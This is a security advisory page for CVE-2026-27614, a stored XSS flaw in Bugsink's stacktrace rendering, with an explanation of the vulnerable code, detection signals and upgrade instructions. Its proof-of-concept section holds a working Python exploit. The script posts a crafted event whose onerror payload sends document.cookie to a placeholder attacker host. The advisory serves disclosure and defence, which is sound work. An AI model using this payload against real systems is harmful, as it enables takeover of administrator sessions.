# CVE-2026-27614: Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering

Source: https://junglewise.ai/threats/cve-2026-27614-bugsink-is-vulnerable-to-stored-xss-via-pygments-fallback-in  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-02-25  
License: CC BY 4.0 with a link back

CVE-2026-27614 · Severity: critical · CVSS 9.3 · Published 2026-02-25

### Summary

An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.
The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

### Details

When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.

```python
# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
    return lines  # raw HTML returned here

# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]
```

### Operational Signals

Exploitation attempts are likely to generate the diagnostic event:

```
"Pygments line count mismatch, falling back to unformatted code"
```

Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)
may see this message as an issue. While the condition can occur benignly, unexpected
occurrences, especially from unusual languages (specifically ruby), warrant review.


### PoC

Send a Sentry event to `/api/<project-id>/store/` with a valid DSN:

```python
import requests

payload = {
    "exception": {"values": [{"stacktrace": {"frames": [{
        "filename": "app.rb",
        "lineno": 2,
        "pre_context": ["<<~HEREDOC", "  foo", "HEREDOC"],
        "context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
        "post_context": []
    }]}}]}
}

requests.post(
    "http://bugsink-host/api/<project-id>/store/",
    json=payload,
    headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)
```

Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.

### Impact

This is a stored XSS vulnerability.

Successful exploitation requires:

* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
* The Bugsink ingest endpoint is reachable to the attacker.
* An administrator explicitly views the crafted event in the UI.

Under those conditions, the attacker can execute JavaScript in the administrator’s browser
and act with that user’s privileges within Bugsink.

Technologies: [bugsink (PyPI)](https://junglewise.ai/threats/technologies/pypi-bugsink). Vendors: [PyPI](https://junglewise.ai/threats/vendors/pypi).

## Quick answers

**Is CVE-2026-27614 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-27614 being exploited in the wild.

**How severe is CVE-2026-27614?** Critical severity, with a CVSS score of 9.3, published 25 February 2026.

**Which products and versions are affected?** bugsink (PyPI) <= 2.0.12, ECOSYSTEM:introduced=0,fixed=2.0.13.

**Is there a fix for CVE-2026-27614?** Yes. bugsink (PyPI): upgrade to 2.0.13 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**Am I affected by CVE-2026-27614?** Check whether you run bugsink (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- bugsink (PyPI): upgrade to 2.0.13 or later

  ```sh
  pip install "bugsink>=2.0.13"
  ```


## Affected products

- bugsink (PyPI) <= 2.0.12, ECOSYSTEM:introduced=0,fixed=2.0.13

## Identifiers

- CVE-2026-27614
- GHSA-vp6q-7m36-pq3w
- PYSEC-2026-301

## Related threats

- [Bugsink denial of service via excessive event tags](https://junglewise.ai/threats/cve-2026-53954-bugsink-denial-of-service-via-excessive-event-tags)
- [PYSEC-2026-1227 - Bugsink is vulnerable to unauthenticated remote DoS via crafted Brotli input (via CPU)](https://junglewise.ai/threats/cve-2025-64509-bugsink-is-vulnerable-to-unauthenticated-remote-dos-via-crafted)
- [PYSEC-2026-1225 - Bugsink is vulnerable to unauthenticated remote DoS via crafted Brotli input](https://junglewise.ai/threats/cve-2025-64508-bugsink-is-vulnerable-to-unauthenticated-remote-dos-via-crafted)
- [PYSEC-2026-1226 - Bugsink path traversal via event_id in ingestion](https://junglewise.ai/threats/cve-2025-54433-bugsink-path-traversal-via-event-id-in-ingestion)
- [Bugsink missing project scoping in sourcemap and debug file lookup](https://junglewise.ai/threats/cve-2026-47728-bugsink-missing-project-scoping-in-sourcemap-and-debug-file)
